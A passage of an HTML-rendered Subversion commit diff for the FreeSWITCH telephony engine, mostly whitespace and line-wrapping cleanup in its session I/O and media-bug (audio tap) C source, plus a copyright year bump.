</ins><span class="cx">                                 if ((bp-&gt;stop_time &amp;&amp; bp-&gt;stop_time &lt;= switch_epoch_time_now(NULL)) || ok == SWITCH_FALSE) {
</span><span class="cx">                                         switch_set_flag(bp, SMBF_PRUNE);
</span><span class="cx">                                         prune++;
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                         }
</span><span class="cx">                         switch_thread_rwlock_unlock(session-&gt;bug_rwlock);
</span><span class="cx">                         if (prune) {
</span><span class="lines">@@ -385,11 +386,11 @@
</span><span class="cx">                         if (session-&gt;read_resampler) {
</span><span class="cx">                                 short *data = read_frame-&gt;data;
</span><span class="cx">                                 switch_mutex_lock(session-&gt;resample_mutex);
</span><del>-                                switch_resample_process(session-&gt;read_resampler, data, (int)read_frame-&gt;datalen / 2);
</del><ins>+                                switch_resample_process(session-&gt;read_resampler, data, (int) read_frame-&gt;datalen / 2);
</ins><span class="cx">                                 memcpy(data, session-&gt;read_resampler-&gt;to, session-&gt;read_resampler-&gt;to_len * 2);
</span><span class="cx">                                 read_frame-&gt;samples = session-&gt;read_resampler-&gt;to_len;
</span><del>-                read_frame-&gt;datalen = session-&gt;read_resampler-&gt;to_len * 2;
-                read_frame-&gt;rate = session-&gt;read_resampler-&gt;to_rate;
</del><ins>+                                read_frame-&gt;datalen = session-&gt;read_resampler-&gt;to_len * 2;
+                                read_frame-&gt;rate = session-&gt;read_resampler-&gt;to_rate;
</ins><span class="cx">                                 switch_mutex_unlock(session-&gt;resample_mutex);
</span><span class="cx"> 
</span><span class="cx">                         }
</span><span class="lines">@@ -399,7 +400,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 if (!session-&gt;raw_read_buffer) {
</span><span class="cx">                                         switch_size_t bytes = session-&gt;read_impl.decoded_bytes_per_packet;
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Engaging Read Buffer at %u bytes vs %u\n&quot;, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Engaging Read Buffer at %u bytes vs %u\n&quot;,
</ins><span class="cx">                                                                           (uint32_t) bytes, (uint32_t) (*frame)-&gt;datalen);
</span><span class="cx">                                         switch_buffer_create_dynamic(&amp;session-&gt;raw_read_buffer, bytes * SWITCH_BUFFER_BLOCK_FRAMES, bytes * SWITCH_BUFFER_START_FRAMES, 0);
</span><span class="cx">                                 }
</span><span class="lines">@@ -468,8 +469,8 @@
</span><span class="cx">                                 case SWITCH_STATUS_NOT_INITALIZED:
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec init error!\n&quot;);
</span><span class="cx">                                         *frame = NULL;
</span><del>-                    status = SWITCH_STATUS_GENERR;
-                    break;
</del><ins>+                                        status = SWITCH_STATUS_GENERR;
+                                        break;
</ins><span class="cx">                                 default:
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec %s encoder error!\n&quot;,
</span><span class="cx">                                                                           session-&gt;read_codec-&gt;codec_interface-&gt;interface_name);
</span><span class="lines">@@ -518,7 +519,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 if (ok == SWITCH_FALSE) {
</span><span class="cx">                                         switch_set_flag(bp, SMBF_PRUNE);
</span><del>-                    prune++;
</del><ins>+                                        prune++;
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         switch_thread_rwlock_unlock(session-&gt;bug_rwlock);
</span><span class="lines">@@ -581,7 +582,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(session-&gt;write_codec &amp;&amp; switch_core_codec_ready(session-&gt;write_codec)) &amp;&amp; !pass_cng) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;%s has no write codec.\n&quot;, switch_channel_get_name(session-&gt;channel));
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -602,19 +603,19 @@
</span><span class="cx">         switch_assert(frame-&gt;codec != NULL);
</span><span class="cx">         switch_assert(frame-&gt;codec-&gt;implementation != NULL);
</span><span class="cx"> 
</span><del>-        switch_mutex_lock(session-&gt;codec_write_mutex);        
</del><ins>+        switch_mutex_lock(session-&gt;codec_write_mutex);
</ins><span class="cx"> 
</span><del>-        if (!(session-&gt;write_codec &amp;&amp; session-&gt;write_codec-&gt;mutex &amp;&amp; frame-&gt;codec) || 
</del><ins>+        if (!(session-&gt;write_codec &amp;&amp; session-&gt;write_codec-&gt;mutex &amp;&amp; frame-&gt;codec) ||
</ins><span class="cx">                 !switch_channel_ready(session-&gt;channel) || !switch_channel_media_ready(session-&gt;channel)) {
</span><del>-                switch_mutex_unlock(session-&gt;codec_write_mutex);        
</del><ins>+                switch_mutex_unlock(session-&gt;codec_write_mutex);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(session-&gt;write_codec-&gt;mutex);
</span><span class="cx">         switch_mutex_lock(frame-&gt;codec-&gt;mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((session-&gt;write_codec &amp;&amp; frame-&gt;codec &amp;&amp; session-&gt;write_codec-&gt;implementation != frame-&gt;codec-&gt;implementation)) {
</span><del>-                if (session-&gt;write_impl.codec_id == frame-&gt;codec-&gt;implementation-&gt;codec_id || 
</del><ins>+                if (session-&gt;write_impl.codec_id == frame-&gt;codec-&gt;implementation-&gt;codec_id ||
</ins><span class="cx">                         session-&gt;write_impl.microseconds_per_packet != frame-&gt;codec-&gt;implementation-&gt;microseconds_per_packet) {
</span><span class="cx">                         ptime_mismatch = TRUE;
</span><span class="cx">                         if (switch_test_flag(frame-&gt;codec, SWITCH_CODEC_FLAG_PASSTHROUGH) || switch_test_flag(session-&gt;read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH)) {
</span><span class="lines">@@ -646,11 +647,11 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!switch_test_flag(session, SSF_WARN_TRANSCODE)) {
</span><del>-                        switch_core_session_message_t msg = { 0 };
</del><ins>+                switch_core_session_message_t msg = { 0 };
</ins><span class="cx"> 
</span><del>-                        msg.message_id = SWITCH_MESSAGE_INDICATE_TRANSCODING_NECESSARY;
-                        switch_core_session_receive_message(session, &amp;msg);
-                        switch_set_flag(session, SSF_WARN_TRANSCODE);
</del><ins>+                msg.message_id = SWITCH_MESSAGE_INDICATE_TRANSCODING_NECESSARY;
+                switch_core_session_receive_message(session, &amp;msg);
+                switch_set_flag(session, SSF_WARN_TRANSCODE);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (frame-&gt;codec) {
</span><span class="lines">@@ -661,10 +662,10 @@
</span><span class="cx">                                                                                   frame-&gt;datalen,
</span><span class="cx">                                                                                   session-&gt;write_impl.actual_samples_per_second,
</span><span class="cx">                                                                                   session-&gt;raw_write_frame.data, &amp;session-&gt;raw_write_frame.datalen, &amp;session-&gt;raw_write_frame.rate, &amp;flag);
</span><del>-                
-                
-                
</del><span class="cx"> 
</span><ins>+
+
+
</ins><span class="cx">                 if (do_resample &amp;&amp; status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         status = SWITCH_STATUS_RESAMPLE;
</span><span class="cx">                 }
</span><span class="lines">@@ -678,11 +679,10 @@
</span><span class="cx">                                 switch_mutex_lock(session-&gt;resample_mutex);
</span><span class="cx">                                 status = switch_resample_create(&amp;session-&gt;write_resampler,
</span><span class="cx">                                                                                                 frame-&gt;codec-&gt;implementation-&gt;actual_samples_per_second,
</span><del>-                                                                                                session-&gt;write_impl.actual_samples_per_second, 
-                                                                                                session-&gt;write_impl.decoded_bytes_per_packet,
-                                                                                                SWITCH_RESAMPLE_QUALITY, 1);
-                                                                                                
-                                
</del><ins>+                                                                                                session-&gt;write_impl.actual_samples_per_second,
+                                                                                                session-&gt;write_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
+
+
</ins><span class="cx">                                 switch_mutex_unlock(session-&gt;resample_mutex);
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         goto done;
</span><span class="lines">@@ -700,7 +700,8 @@
</span><span class="cx">                         write_frame = &amp;session-&gt;raw_write_frame;
</span><span class="cx">                         break;
</span><span class="cx">                 case SWITCH_STATUS_BREAK:
</span><del>-                        status = SWITCH_STATUS_SUCCESS; goto error;
</del><ins>+                        status = SWITCH_STATUS_SUCCESS;
+                        goto error;
</ins><span class="cx">                 case SWITCH_STATUS_NOOP:
</span><span class="cx">                         if (session-&gt;write_resampler) {
</span><span class="cx">                                 switch_mutex_lock(session-&gt;resample_mutex);
</span><span class="lines">@@ -718,39 +719,41 @@
</span><span class="cx">                         }
</span><span class="cx">                         if (ptime_mismatch) {
</span><span class="cx">                                 status = perform_write(session, frame, flags, stream_id);
</span><del>-                                status = SWITCH_STATUS_SUCCESS; goto error;
</del><ins>+                                status = SWITCH_STATUS_SUCCESS;
+                                goto error;
</ins><span class="cx">                         }
</span><del>-                                
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec %s decoder error!\n&quot;, frame-&gt;codec-&gt;codec_interface-&gt;interface_name);
</del><ins>+
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec %s decoder error!\n&quot;,
+                                                          frame-&gt;codec-&gt;codec_interface-&gt;interface_name);
</ins><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (session-&gt;write_resampler) {
</span><span class="cx">                 short *data = write_frame-&gt;data;
</span><span class="cx"> 
</span><span class="cx">                 switch_mutex_lock(session-&gt;resample_mutex);
</span><span class="cx">                 if (session-&gt;write_resampler) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_resample_process(session-&gt;write_resampler, data, write_frame-&gt;datalen / 2);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         memcpy(data, session-&gt;write_resampler-&gt;to, session-&gt;write_resampler-&gt;to_len * 2);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         write_frame-&gt;samples = session-&gt;write_resampler-&gt;to_len;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         write_frame-&gt;datalen = write_frame-&gt;samples * 2;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         write_frame-&gt;rate = session-&gt;write_resampler-&gt;to_rate;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         did_write_resample = 1;
</span><span class="cx">                 }
</span><span class="cx">                 switch_mutex_unlock(session-&gt;resample_mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (session-&gt;bugs &amp;&amp; !switch_channel_test_flag(session-&gt;channel, CF_PAUSE_BUGS)) {
</span><span class="cx">                 switch_media_bug_t *bp;
</span><span class="cx">                 int prune = 0;
</span><span class="lines">@@ -820,10 +823,10 @@
</span><span class="cx">                         perfect = TRUE;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 if (perfect) {
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (write_frame-&gt;datalen &lt; session-&gt;write_impl.decoded_bytes_per_packet) {
</span><span class="cx">                                 memset(write_frame-&gt;data, 255, session-&gt;write_impl.decoded_bytes_per_packet - write_frame-&gt;datalen);
</span><span class="cx">                                 write_frame-&gt;datalen = session-&gt;write_impl.decoded_bytes_per_packet;
</span><span class="lines">@@ -840,8 +843,8 @@
</span><span class="cx">                                                                                           session-&gt;enc_write_frame.data, &amp;session-&gt;enc_write_frame.datalen, &amp;session-&gt;enc_write_frame.rate, &amp;flag);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         switch (status) {
</span><span class="cx">                         case SWITCH_STATUS_RESAMPLE:
</span><span class="cx">                                 resample++;
</span><span class="lines">@@ -874,7 +877,7 @@
</span><span class="cx">                         case SWITCH_STATUS_NOT_INITALIZED:
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec init error!\n&quot;);
</span><span class="cx">                                 write_frame = NULL;
</span><del>-                                goto error;                                        
</del><ins>+                                goto error;
</ins><span class="cx">                         default:
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Codec %s encoder error!\n&quot;,
</span><span class="cx">                                                                   session-&gt;read_codec-&gt;codec_interface-&gt;interface_name);
</span><span class="lines">@@ -900,15 +903,16 @@
</span><span class="cx">                                         goto error;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!(switch_buffer_write(session-&gt;raw_write_buffer, write_frame-&gt;data, write_frame-&gt;datalen))) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Write Buffer %u bytes Failed!\n&quot;, write_frame-&gt;datalen);
</span><del>-                                status = SWITCH_STATUS_MEMERR; goto error;
</del><ins>+                                status = SWITCH_STATUS_MEMERR;
+                                goto error;
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><del>-                        while(switch_buffer_inuse(session-&gt;raw_write_buffer) &gt;= session-&gt;write_impl.decoded_bytes_per_packet) {
</del><ins>+                        while (switch_buffer_inuse(session-&gt;raw_write_buffer) &gt;= session-&gt;write_impl.decoded_bytes_per_packet) {
</ins><span class="cx">                                 int rate;
</span><span class="cx"> 
</span><span class="cx">                                 if (switch_channel_down(session-&gt;channel) || !session-&gt;raw_write_buffer) {
</span><span class="lines">@@ -918,29 +922,27 @@
</span><span class="cx">                                          switch_buffer_read(session-&gt;raw_write_buffer, session-&gt;raw_write_frame.data, session-&gt;write_impl.decoded_bytes_per_packet)) == 0) {
</span><span class="cx">                                         goto error;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 enc_frame = &amp;session-&gt;raw_write_frame;
</span><span class="cx">                                 session-&gt;raw_write_frame.rate = session-&gt;write_impl.actual_samples_per_second;
</span><span class="cx">                                 session-&gt;enc_write_frame.datalen = session-&gt;enc_write_frame.buflen;
</span><span class="cx">                                 session-&gt;enc_write_frame.timestamp = 0;
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 if (frame-&gt;codec &amp;&amp; frame-&gt;codec-&gt;implementation &amp;&amp; switch_core_codec_ready(frame-&gt;codec)) {
</span><span class="cx">                                         rate = frame-&gt;codec-&gt;implementation-&gt;actual_samples_per_second;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         rate = session-&gt;write_impl.actual_samples_per_second;
</span><span class="cx">                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                 status = switch_core_codec_encode(session-&gt;write_codec,
</span><span class="cx">                                                                                                   frame-&gt;codec,
</span><span class="cx">                                                                                                   enc_frame-&gt;data,
</span><span class="cx">                                                                                                   enc_frame-&gt;datalen,
</span><span class="cx">                                                                                                   rate,
</span><del>-                                                                                                  session-&gt;enc_write_frame.data,
-                                                                                                  &amp;session-&gt;enc_write_frame.datalen, 
-                                                                                                  &amp;session-&gt;enc_write_frame.rate, &amp;flag);
</del><ins>+                                                                                                  session-&gt;enc_write_frame.data, &amp;session-&gt;enc_write_frame.datalen, &amp;session-&gt;enc_write_frame.rate, &amp;flag);
</ins><span class="cx"> 
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch (status) {
</span><span class="cx">                                 case SWITCH_STATUS_RESAMPLE:
</span><span class="cx">                                         resample++;
</span><span class="lines">@@ -955,14 +957,13 @@
</span><span class="cx">                                                 if (!session-&gt;write_resampler) {
</span><span class="cx">                                                         status = switch_resample_create(&amp;session-&gt;write_resampler,
</span><span class="cx">                                                                                                                         frame-&gt;codec-&gt;implementation-&gt;actual_samples_per_second,
</span><del>-                                                                                                                        session-&gt;write_impl.actual_samples_per_second, 
-                                                                                                                        session-&gt;write_impl.decoded_bytes_per_packet,
-                                                                                                                        SWITCH_RESAMPLE_QUALITY, 1);
</del><ins>+                                                                                                                        session-&gt;write_impl.actual_samples_per_second,
+                                                                                                                        session-&gt;write_impl.decoded_bytes_per_packet, SWITCH_RESAMPLE_QUALITY, 1);
</ins><span class="cx">                                                 }
</span><span class="cx">                                                 switch_mutex_unlock(session-&gt;resample_mutex);
</span><span class="cx"> 
</span><del>-                                                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         goto done;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1021,7 +1022,7 @@
</span><span class="cx">                                 if (flag &amp; SFF_CNG) {
</span><span class="cx">                                         switch_set_flag(write_frame, SFF_CNG);
</span><span class="cx">                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                 if (ptime_mismatch || resample) {
</span><span class="cx">                                         write_frame-&gt;timestamp = 0;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1031,27 +1032,27 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         goto error;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                
</del><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        
- done:
</del><span class="cx"> 
</span><ins>+
+  done:
+
</ins><span class="cx">         if (ptime_mismatch || resample) {
</span><span class="cx">                 write_frame-&gt;timestamp = 0;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (do_write) {
</span><del>-                status = perform_write(session, write_frame, flags, stream_id);                
</del><ins>+                status = perform_write(session, write_frame, flags, stream_id);
</ins><span class="cx">         }
</span><del>-        
- error:
</del><span class="cx"> 
</span><ins>+  error:
+
</ins><span class="cx">         switch_mutex_unlock(session-&gt;write_codec-&gt;mutex);
</span><span class="cx">         switch_mutex_unlock(frame-&gt;codec-&gt;mutex);
</span><span class="cx">         switch_mutex_unlock(session-&gt;codec_write_mutex);
</span><span class="lines">@@ -1073,8 +1074,8 @@
</span><span class="cx">         switch_io_event_hook_kill_channel_t *ptr;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, &quot;Send signal %s [%s]\n&quot;, switch_channel_get_name(session-&gt;channel),
-                                          SIG_NAMES[sig]);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, &quot;Send signal %s [%s]\n&quot;,
+                                          switch_channel_get_name(session-&gt;channel), SIG_NAMES[sig]);
</ins><span class="cx"> 
</span><span class="cx">         if (session-&gt;endpoint_interface-&gt;io_routines-&gt;kill_channel) {
</span><span class="cx">                 if ((status = session-&gt;endpoint_interface-&gt;io_routines-&gt;kill_channel(session, sig)) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1230,7 +1231,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s send dtmf\ndigit=%c ms=%u samples=%u\n&quot;,
</span><span class="cx">                                                                           switch_channel_get_name(session-&gt;channel), dtmf.digit, dur, dtmf.duration);
</span><span class="cx">                                         sent++;
</span><del>-                                        dur_total += dtmf.duration + 2000; /* account for 250ms pause */
</del><ins>+                                        dur_total += dtmf.duration + 2000;        /* account for 250ms pause */
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_media_bugc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_media_bug.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_media_bug.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_media_bug.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -139,7 +139,7 @@
</span><span class="cx">         size_t rlen = 0;
</span><span class="cx">         size_t wlen = 0;
</span><span class="cx">         uint32_t blen;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int16_t *tp;
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_get_read_impl(bug-&gt;session, &amp;read_impl);
</span><span class="lines">@@ -147,12 +147,14 @@
</span><span class="cx">         bytes = read_impl.decoded_bytes_per_packet;
</span><span class="cx"> 
</span><span class="cx">         if (frame-&gt;buflen &lt; bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, &quot;%s frame buffer too small!\n&quot;, switch_channel_get_name(bug-&gt;session-&gt;channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, &quot;%s frame buffer too small!\n&quot;,
+                                                  switch_channel_get_name(bug-&gt;session-&gt;channel));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(bug-&gt;raw_read_buffer &amp;&amp; (bug-&gt;raw_write_buffer || !switch_test_flag(bug, SMBF_WRITE_STREAM)))) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, &quot;%s Buffer Error\n&quot;, switch_channel_get_name(bug-&gt;session-&gt;channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, &quot;%s Buffer Error\n&quot;,
+                                                  switch_channel_get_name(bug-&gt;session-&gt;channel));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -167,14 +169,14 @@
</span><span class="cx">         frame-&gt;datalen = (uint32_t) switch_buffer_read(bug-&gt;raw_read_buffer, frame-&gt;data, bytes);
</span><span class="cx">         ttl += frame-&gt;datalen;
</span><span class="cx">         switch_mutex_unlock(bug-&gt;read_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(bug, SMBF_WRITE_STREAM)) {
</span><span class="cx">                 switch_assert(bug-&gt;raw_write_buffer);
</span><span class="cx">                 switch_mutex_lock(bug-&gt;write_mutex);
</span><span class="cx">                 datalen = (uint32_t) switch_buffer_read(bug-&gt;raw_write_buffer, bug-&gt;data, bytes);
</span><span class="cx">                 ttl += datalen;
</span><span class="cx">                 if (fill &amp;&amp; datalen &lt; bytes) {
</span><del>-                        memset(((unsigned char *)bug-&gt;data) + datalen, 0, bytes - datalen);
</del><ins>+                        memset(((unsigned char *) bug-&gt;data) + datalen, 0, bytes - datalen);
</ins><span class="cx">                         datalen = bytes;
</span><span class="cx">                 }
</span><span class="cx">                 switch_mutex_unlock(bug-&gt;write_mutex);
</span><span class="lines">@@ -194,7 +196,7 @@
</span><span class="cx">                 frame-&gt;codec = NULL;
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(bug, SMBF_STEREO)) {
</span><span class="cx">                 for (x = 0; x &lt; blen; x++) {
</span><span class="cx">                         if (x &lt; rlen) {
</span><span class="lines">@@ -214,10 +216,10 @@
</span><span class="cx">                         int32_t z = 0;
</span><span class="cx"> 
</span><span class="cx">                         if (x &lt; rlen) {
</span><del>-                                z += (int32_t) *(fp + x);
</del><ins>+                                z += (int32_t) * (fp + x);
</ins><span class="cx">                         }
</span><span class="cx">                         if (x &lt; wlen) {
</span><del>-                                z += (int32_t) *(dp + x);
</del><ins>+                                z += (int32_t) * (dp + x);
</ins><span class="cx">                         }
</span><span class="cx">                         switch_normalize_to_16bit(z);
</span><span class="cx">                         *(fp + x) = (int16_t) z / 2;
</span><span class="lines">@@ -232,7 +234,7 @@
</span><span class="cx">         frame-&gt;samples = bytes / sizeof(int16_t);
</span><span class="cx">         frame-&gt;rate = read_impl.actual_samples_per_second;
</span><span class="cx">         frame-&gt;codec = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -243,8 +245,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_media_bug_t *bug;        //, *bp;
</span><span class="cx">         switch_size_t bytes;
</span><del>-        switch_codec_implementation_t read_impl = {0};
-        switch_codec_implementation_t write_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_codec_implementation_t write_impl = { 0 };
</ins><span class="cx">         const char *p;
</span><span class="cx"> 
</span><span class="cx">         if (!switch_channel_media_ready(session-&gt;channel)) {
</span><span class="lines">@@ -262,7 +264,6 @@
</span><span class="cx">         if ((p = switch_channel_get_variable(session-&gt;channel, &quot;media_bug_answer_req&quot;)) &amp;&amp; switch_true(p)) {
</span><span class="cx">                 flags |= SMBF_ANSWER_REQ;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if 0
</span><span class="cx">         if (flags &amp; SMBF_WRITE_REPLACE) {
</span><span class="cx">                 switch_thread_rwlock_wrlock(session-&gt;bug_rwlock);
</span><span class="lines">@@ -325,7 +326,8 @@
</span><span class="cx">                 switch_bool_t result = bug-&gt;callback(bug, bug-&gt;user_data, SWITCH_ABC_TYPE_INIT);
</span><span class="cx">                 if (result == SWITCH_FALSE) {
</span><span class="cx">                         switch_core_media_bug_destroy(bug);
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error attaching BUG to %s\n&quot;, switch_channel_get_name(session-&gt;channel));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error attaching BUG to %s\n&quot;,
+                                                          switch_channel_get_name(session-&gt;channel));
</ins><span class="cx">                         return SWITCH_STATUS_GENERR;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -405,7 +407,8 @@
</span><span class="cx">                         bp-&gt;ready = 0;
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_media_bug_destroy(bp);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(*bug)), SWITCH_LOG_DEBUG, &quot;Removing BUG from %s\n&quot;, switch_channel_get_name(bp-&gt;session-&gt;channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(*bug)), SWITCH_LOG_DEBUG, &quot;Removing BUG from %s\n&quot;,
+                                                  switch_channel_get_name(bp-&gt;session-&gt;channel));
</ins><span class="cx">                 *bug = NULL;
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -437,7 +440,7 @@
</span><span class="cx">                         status = switch_core_media_bug_close(&amp;bp);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session-&gt;bugs &amp;&amp; switch_core_codec_ready(&amp;session-&gt;bug_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;session-&gt;bug_codec);
</span><span class="cx">                 memset(&amp;session-&gt;bug_codec, 0, sizeof(session-&gt;bug_codec));
</span><span class="lines">@@ -454,7 +457,7 @@
</span><span class="cx">         int ttl = 0;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx"> 
</span><span class="cx">         if (session-&gt;bugs) {
</span><span class="cx">                 switch_thread_rwlock_wrlock(session-&gt;bug_rwlock);
</span><span class="lines">@@ -477,7 +480,7 @@
</span><span class="cx">                         goto top;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session-&gt;bugs &amp;&amp; switch_core_codec_ready(&amp;session-&gt;bug_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;session-&gt;bug_codec);
</span><span class="cx">                 memset(&amp;session-&gt;bug_codec, 0, sizeof(session-&gt;bug_codec));
</span><span class="lines">@@ -494,7 +497,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (session-&gt;bugs) {
